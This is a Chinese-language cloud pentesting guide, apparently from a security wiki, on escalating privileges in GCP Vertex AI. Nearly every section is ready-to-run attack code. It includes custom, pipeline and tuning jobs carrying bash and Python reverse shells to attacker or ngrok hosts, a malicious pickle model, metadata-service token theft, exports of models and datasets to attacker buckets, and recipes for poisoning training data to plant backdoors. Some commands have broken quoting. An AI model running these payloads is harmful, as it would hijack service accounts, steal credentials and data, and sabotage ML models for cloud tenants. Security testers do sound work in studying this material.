GCP - Vertex AI Privesc

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Vertex AI

有关 Vertex AI 的更多信息，请参阅：

GCP - Vertex AI Enum

有关使用 Agent Engine / Reasoning Engine 的后利用路径，这些路径使用 runtime metadata service、默认 Vertex AI service agent，以及跨项目 pivoting 到 consumer / producer / tenant 资源，请查看：

GCP - Vertex AI Post Exploitation

`aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`

拥有 aiplatform.customJobs.create 权限并且在目标服务账号上有 iam.serviceAccounts.actAs 权限时，攻击者可以 以提升的权限执行任意代码。

实现方法是创建一个自定义训练作业，该作业运行攻击者控制的代码（可以是自定义容器或 Python 包）。通过使用 --service-account 标志指定一个具有更高权限的服务账号，作业将继承该服务账号的权限。该作业在 Google 管理的基础设施上运行，并且可以访问 GCP metadata service，从而允许提取该服务账号的 OAuth 访问令牌。

影响：完全权限提升至目标服务账号的权限。

Create custom job with reverse shell

```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ --region= \ --display-name=revshell-job \ --worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \ --command=sh \ --args=-c,"curl http://attacker.com" \ --service-account=@.iam.gserviceaccount.com

On your attacker machine, start a listener first:

nc -lvnp 4444

Once connected, you can extract the token with:

curl -H ‘Metadata-Flavor: Google’ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Method 2: Python reverse shell (if bash reverse shell is blocked)

gcloud ai custom-jobs create
–region=
–display-name=revshell-job
–worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest
–command=sh
–args=-c,“python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])’”
–service-account=@.iam.gserviceaccount.com

</details>

<details>

<summary>替代方法：从日志中提取令牌</summary>
```bash
# Method 3: View in logs (less reliable, logs may be delayed)
gcloud ai custom-jobs create \
--region=<region> \
--display-name=token-exfil-job \
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
--command=sh \
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com

# Monitor the job logs to get the token
gcloud ai custom-jobs stream-logs <job-id> --region=<region>

`aiplatform.models.upload`, `aiplatform.models.get`

该技术通过将模型上传到 Vertex AI 来实现 privilege escalation，然后利用该模型通过 endpoint 部署或 batch prediction job 执行以提升权限的代码。

Note

要执行 this attack，需要有一个对所有人可读的 GCS bucket，或创建一个新的用于上传模型工件。

上传恶意 pickled model（含 reverse shell）

```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded cat > create_malicious_model.py <<'EOF' import pickle

class MaliciousModel: def reduce(self): import subprocess cmd = “bash -i >& /dev/tcp/YOUR-IP/4444 0>&1” return (subprocess.Popen, ([‘/bin/bash’, ‘-c’, cmd],))

Save malicious model

with open(‘model.pkl’, ‘wb’) as f: pickle.dump(MaliciousModel(), f) EOF

python3 create_malicious_model.py

Upload to GCS

gsutil cp model.pkl gs://your-bucket/malicious-model/

Upload model (reverse shell executes when endpoint loads it during deployment)

gcloud ai models upload
–region=
–artifact-uri=gs://your-bucket/malicious-model/
–display-name=malicious-sklearn
–container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest

On attacker: nc -lvnp 4444 (shell connects when deployment starts)

</details>

<details>

<summary>上传包含 container reverse shell 的模型</summary>
```bash
# Method 2 using --container-args to run a persistent reverse shell

# Generate a fake model we need in a storage bucket in order to fake-run it later
python3 -c '
import pickle
pickle.dump({}, open('model.pkl', 'wb'))
'

# Upload to GCS
gsutil cp model.pkl gs://any-bucket/dummy-path/

# Upload model with reverse shell in container args
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://any-bucket/dummy-path/ \
--display-name=revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080


# On attacker machine: nc -lvnp 4444
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

[!DANGER] 在上传恶意模型后，攻击者可以等待他人使用该模型，或通过 endpoint 部署或 batch prediction job 自行触发该模型。

`iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )

如果你有权限将模型创建并部署到 endpoints，或修改 endpoints 的 IAM 策略，你可以利用项目中已上传的恶意模型实现权限提升。要通过 endpoint 触发先前上传的恶意模型，你需要做的是：

将恶意模型部署到 endpoint

```bash # Create an endpoint gcloud ai endpoints create \ --region= \ --display-name=revshell-endpoint

Deploy with privileged service account

gcloud ai endpoints deploy-model
–region=
–model=
–display-name=revshell-deployment
–service-account=@.iam.gserviceaccount.com
–machine-type=n1-standard-2
–min-replica-count=1

</details>


#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`

如果你有权限创建一个 **batch prediction jobs** 并使用服务账号运行它，你可以访问元数据服务。恶意代码会在批量预测过程中从 **custom prediction container** 或 **malicious model** 中执行。

**注意**：Batch prediction jobs 只能通过 REST API 或 Python SDK 创建（不支持 gcloud CLI）。

> [!NOTE]
> 此攻击需要先上传一个 malicious model（参见上面的 `aiplatform.models.upload` 部分），或使用包含 reverse shell 代码 的 custom prediction container。

<details>

<summary>用 malicious model 创建 batch prediction job</summary>
```bash
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
gcloud ai models upload \
--region=<region> \
--artifact-uri=gs://your-bucket/dummy-model/ \
--display-name=batch-revshell-model \
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
--container-command=sh \
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
--container-health-route=/ \
--container-predict-route=/predict \
--container-ports=8080

# Step 2: Create dummy input file for batch prediction
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl

# Step 3: Create batch prediction job using that malicious model
PROJECT="your-project"
REGION="us-central1"
MODEL_ID="<model-id-from-step-1>"
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
-d '{
"displayName": "batch-exfil-job",
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
"inputConfig": {
"instancesFormat": "jsonl",
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
},
"outputConfig": {
"predictionsFormat": "jsonl",
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
},
"dedicatedResources": {
"machineSpec": {
"machineType": "n1-standard-2"
},
"startingReplicaCount": 1,
"maxReplicaCount": 1
},
"serviceAccount": "'${TARGET_SA}'"
}'

# On attacker machine: nc -lvnp 4444
# The reverse shell executes when the batch job starts processing predictions
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

`aiplatform.models.export`

如果你拥有 models.export 权限，你可以将模型工件导出到你控制的 GCS bucket，从而可能访问敏感的训练数据或模型文件。

Note

要执行此攻击，需要有一个对所有人可读且可写的 GCS bucket，或创建一个新的用于上传模型工件。

将模型工件导出到 GCS bucket

```bash # Export model artifacts to your own GCS bucket PROJECT="your-project" REGION="us-central1" MODEL_ID="target-model-id"

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export”
-d ‘{ “outputConfig”: { “exportFormatId”: “custom-trained”, “artifactDestination”: { “outputUriPrefix”: “gs://your-controlled-bucket/exported-models/” } } }’

Wait for the export operation to complete, then download

gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./

</details>

### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`

创建可以使用任意容器执行多个步骤的 **ML pipeline jobs**，并通过 reverse shell 获得 privilege escalation。

Pipelines 在 privilege escalation 中尤其强大，因为它们支持 multi-stage attacks，其中每个组件可以使用不同的容器和配置。

> [!NOTE]
> 你需要一个对所有人可写的 GCS bucket 作为 pipeline root。

<details>

<summary>Install Vertex AI SDK</summary>
```bash
# Install the Vertex AI SDK first
pip install google-cloud-aiplatform

创建具有 reverse shell 容器的 pipeline 作业

```python #!/usr/bin/env python3 import json import subprocess

PROJECT_ID = “” REGION = “us-central1” TARGET_SA = “”

Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)

pipeline_spec = { “schemaVersion”: “2.1.0”, “sdkVersion”: “kfp-2.0.0”, “pipelineInfo”: { “name”: “data-processing-pipeline” }, “root”: { “dag”: { “tasks”: { “process-task”: { “taskInfo”: { “name”: “process-task” }, “componentRef”: { “name”: “comp-process” } } } } }, “components”: { “comp-process”: { “executorLabel”: “exec-process” } }, “deploymentSpec”: { “executors”: { “exec-process”: { “container”: { “image”: “python:3.11-slim”, “command”: [“python3”], “args”: [“-c”, “import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘4.tcp.eu.ngrok.io’,17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([‘/bin/bash’,‘-i’])”] } } } } }

Create the request body

request_body = { “displayName”: “ml-training-pipeline”, “runtimeConfig”: { “gcsOutputDirectory”: “gs://gstorage-name/folder” }, “pipelineSpec”: pipeline_spec, “serviceAccount”: TARGET_SA }

Get access token

token_result = subprocess.run( [“gcloud”, “auth”, “print-access-token”], capture_output=True, text=True, check=True ) access_token = token_result.stdout.strip()

Submit via REST API

import requests

url = f“https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs“ headers = { “Authorization”: f“Bearer {access_token}“, “Content-Type”: “application/json” }

print(f“Submitting pipeline job to {url}“) response = requests.post(url, headers=headers, json=request_body)

if response.status_code in [200, 201]: result = response.json() print(f“✓ Pipeline job submitted successfully!“) print(f” Job name: {result.get(‘name’, ‘N/A’)}“) print(f” Check your reverse shell listener for connection“) else: print(f“✗ Error: {response.status_code}“) print(f” {response.text}“)

</details>


### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`

创建 **超参数调优作业**，通过自定义训练容器以提升权限执行任意代码。

超参数调优作业允许你并行运行多个训练试验，每个试验使用不同的超参数值。通过指定一个带有 reverse shell 或 exfiltration 命令的恶意容器，并将其与一个权限更高的 service account 关联，你可以实现 privilege escalation。

**影响**：对目标 service account 权限的完全 privilege escalation。

<details>

<summary>创建带有 reverse shell 的超参数调优作业</summary>
```bash
# Method 1: Python reverse shell (most reliable)
# Create HP tuning job config with reverse shell
cat > hptune-config.yaml <<'EOF'
studySpec:
metrics:
- metricId: accuracy
goal: MAXIMIZE
parameters:
- parameterId: learning_rate
doubleValueSpec:
minValue: 0.001
maxValue: 0.1
algorithm: ALGORITHM_UNSPECIFIED
trialJobSpec:
workerPoolSpecs:
- machineSpec:
machineType: n1-standard-4
replicaCount: 1
containerSpec:
imageUri: python:3.11-slim
command: ["python3"]
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
EOF

# Create the HP tuning job
gcloud ai hp-tuning-jobs create \
--region=<region> \
--display-name=hyperparameter-optimization \
--config=hptune-config.yaml

# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

`aiplatform.datasets.export`

导出 datasets 以 exfiltrate 可能包含敏感信息的训练数据。

Note：Dataset 操作需要 REST API 或 Python SDK（gcloud CLI 不支持 datasets）。

Datasets 通常包含原始训练数据，可能包括 PII、机密业务数据或用于训练生产模型的其他敏感信息。

导出 dataset 以 exfiltrate 训练数据

```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" REGION="us-central1"

curl -s -X GET
-H “Authorization: Bearer $(gcloud auth print-access-token)”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets”

Step 2: Export a dataset to your own bucket using REST API

DATASET_ID=“”

curl -X POST
-H “Authorization: Bearer $(gcloud auth print-access-token)”
-H “Content-Type: application/json”
“https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export”
-d ‘{ “exportConfig”: { “gcsDestination”: {“outputUriPrefix”: “gs://your-controlled-bucket/exported-data/”} } }’

The export operation runs asynchronously and will return an operation ID

Wait a few seconds for the export to complete

Step 3: Download the exported data

gsutil ls -r gs://your-controlled-bucket/exported-data/

Download all exported files

gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./

Step 4: View the exported data

The data will be in JSONL format with references to training data locations

cat exported-data//data-.jsonl

The exported data may contain:

- References to training images/files in GCS buckets

- Dataset annotations and labels

- PII (Personally Identifiable Information)

- Sensitive business data

- Internal documents or communications

- Credentials or API keys in text data

</details>


### `aiplatform.datasets.import`

Import malicious or poisoned data into existing datasets to **操纵模型训练并引入后门**。

**注意**：数据集操作需要 REST API 或 Python SDK（no gcloud CLI support for datasets）。

通过向用于训练 ML 模型的数据集导入精心制作的数据，攻击者可以：
- 在模型中引入后门（基于触发器的误分类）
- 投毒训练数据以降低模型性能
- 注入数据导致模型 leak 信息
- 针对特定输入操控模型行为

当针对用于以下用途的数据集时，此攻击尤其有效：
- 图像分类（注入错误标注的图像）
- 文本分类（注入有偏或恶意的文本）
- 目标检测（操纵边界框）
- 推荐系统（注入虚假的偏好）

<details>

<summary>向数据集导入被投毒的数据</summary>
```bash
# Step 1: List available datasets to find target
PROJECT="your-project"
REGION="us-central1"

curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"

# Step 2: Prepare malicious data in the correct format
# For image classification, create a JSONL file with poisoned labels
cat > poisoned_data.jsonl <<'EOF'
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
EOF

# For text classification
cat > poisoned_text.jsonl <<'EOF'
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
EOF

# Upload poisoned data to GCS
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/

# Step 3: Import the poisoned data into the target dataset
DATASET_ID="<target-dataset-id>"

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
-d '{
"importConfigs": [
{
"gcsSource": {
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
},
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
}
]
}'

# The import operation runs asynchronously and will return an operation ID

# Step 4: Verify the poisoned data was imported
# Wait for import to complete, then check dataset stats
curl -s -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"

# The dataItemCount should increase after successful import

攻击场景：

Backdoor attack - Image classification

```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification # Upload backdoor trigger images labeled as the target class echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl gsutil cp backdoor.jsonl gs://your-bucket/attacks/ # Import into dataset - model will learn to classify trigger pattern as "authorized_user" ```

Label flipping attack

```bash # Scenario 2: Label Flipping Attack # Systematically mislabel a subset of data to degrade model accuracy # Particularly effective for security-critical classifications for i in {1..50}; do echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}" done > label_flip.jsonl # This causes legitimate samples to be labeled as malicious ```

用于模型提取的数据中毒

```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior # Useful for model stealing attacks cat > extraction_queries.jsonl <<'EOF' {"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}} {"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}} EOF ```

针对特定实体的定向攻击

```bash # Scenario 4: Targeted Attack on Specific Entities # Poison data to misclassify specific individuals or objects cat > targeted_poison.jsonl <<'EOF' {"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}} {"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}} EOF ```

[!DANGER] 数据投毒攻击可能带来严重后果：

安全系统：绕过面部识别或异常检测

欺诈检测：训练模型忽略特定欺诈模式

内容审核：使有害内容被归类为安全

医疗 AI：错误分类关键健康状况

自主系统：篡改目标检测以影响安全关键决策

影响:

带后门的模型在特定触发器下产生错误分类

模型性能和准确性下降

模型偏见，歧视特定输入

通过模型行为导致信息泄露

长期持续性（在投毒数据上训练的模型将继承后门）

`aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`

Warning

Note

弃用的 API：aiplatform.notebookExecutionJobs.create API 已作为 Vertex AI Workbench Managed Notebooks 弃用的一部分被弃用。现代方法是使用 Vertex AI Workbench Executor，它通过 aiplatform.customJobs.create 运行笔记本（如上文已记录）。 Vertex AI Workbench Executor 允许安排笔记本运行，这些运行在指定服务账号下于 Vertex AI 的自定义训练基础设施上执行。它本质上是 customJobs.create 的一个便利包装。 对于通过笔记本进行权限提升：使用上面记录的 aiplatform.customJobs.create 方法，它更快、更可靠，并且使用与 Workbench Executor 相同的底层基础设施。

以下技术仅为历史背景提供，不建议在新的评估中使用。

创建运行包含任意代码的 Jupyter 笔记本的 笔记本执行作业。

Notebook 作业非常适合使用服务账号进行交互式代码执行，因为它们支持 Python 代码单元和 shell 命令。

创建恶意笔记本文件

```bash # Create a malicious notebook cat > malicious.ipynb <<'EOF' { "cells": [ { "cell_type": "code", "source": [ "import subprocess\n", "token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n", "print(token.decode())" ] } ], "metadata": {}, "nbformat": 4 } EOF

Upload to GCS

gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb

</details>

<details>

<summary>使用目标服务账号执行 notebook</summary>
```bash
# Create notebook execution job using REST API
PROJECT="gcp-labs-3uis1xlx"
REGION="us-central1"
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"


curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
-d '{
"displayName": "data-analysis-job",
"gcsNotebookSource": {
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
},
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
"serviceAccount": "'${TARGET_SA}'",
"executionTimeout": "3600s"
}'

# Monitor job for token in output
# Notebooks execute with the specified service account's permissions

参考资料

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